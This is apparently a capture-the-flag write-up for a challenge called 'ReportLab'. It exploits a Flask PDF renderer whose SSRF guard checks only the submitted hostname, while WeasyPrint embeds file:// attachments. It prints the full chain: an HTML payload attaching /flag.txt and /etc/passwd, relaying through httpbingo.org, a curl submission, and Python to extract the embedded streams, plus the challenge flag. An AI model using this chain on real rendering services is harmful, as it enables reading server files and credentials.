Webhard
ReportLab
by Pavel Knespl (capyplivl)
A Flask service renders any submitted public URL to PDF with WeasyPrint. An SSRF guard validates only the submitted URL's hostname, but WeasyPrint fetches sub-resources (including file://) with no check and embeds <link rel="attachment"> targets into the PDF. Host an HTML page on a public URL that references local files and they get baked into the returned PDF, giving local file read.
Solve
- Read
/source. The guard checks only the first hop; rendering is done by WeasyPrint, whose fetcher allowsfile://for sub-resources and attachments. - Build an HTML payload that attaches local files:
<link rel="attachment" href="file:///flag.txt"> <link rel="attachment" href="file:///etc/passwd"> - Serve it from a public host so it passes the guard. httpbingo's base64 echo endpoint returns arbitrary bytes that WeasyPrint parses as HTML:
B64=$(printf '%s' "$PAYLOAD" | base64 -w0) URL="https://httpbingo.org/base64/$B64" - Submit it to the renderer:
The PDF contains twocurl -s -X POST https://HOST/api/report \ -H 'content-type: application/json' \ -d "{\"url\":\"$URL\"}" -o report.pdf/EmbeddedFilestreams. - Decompress the FlateDecode streams to read the attachments:
import zlib, re d = open("report.pdf", "rb").read() for m in re.finditer(rb'stream\r?\n', d): blob = d[m.end():d.find(b'endstream', m.end())] try: print(zlib.decompress(blob.rstrip(b'\r\n')).decode('latin-1')) except: pass/flag.txtholds the flag.
Flag: SVIUSCG{39bd26a3429dacd47b1de29b9af28dee}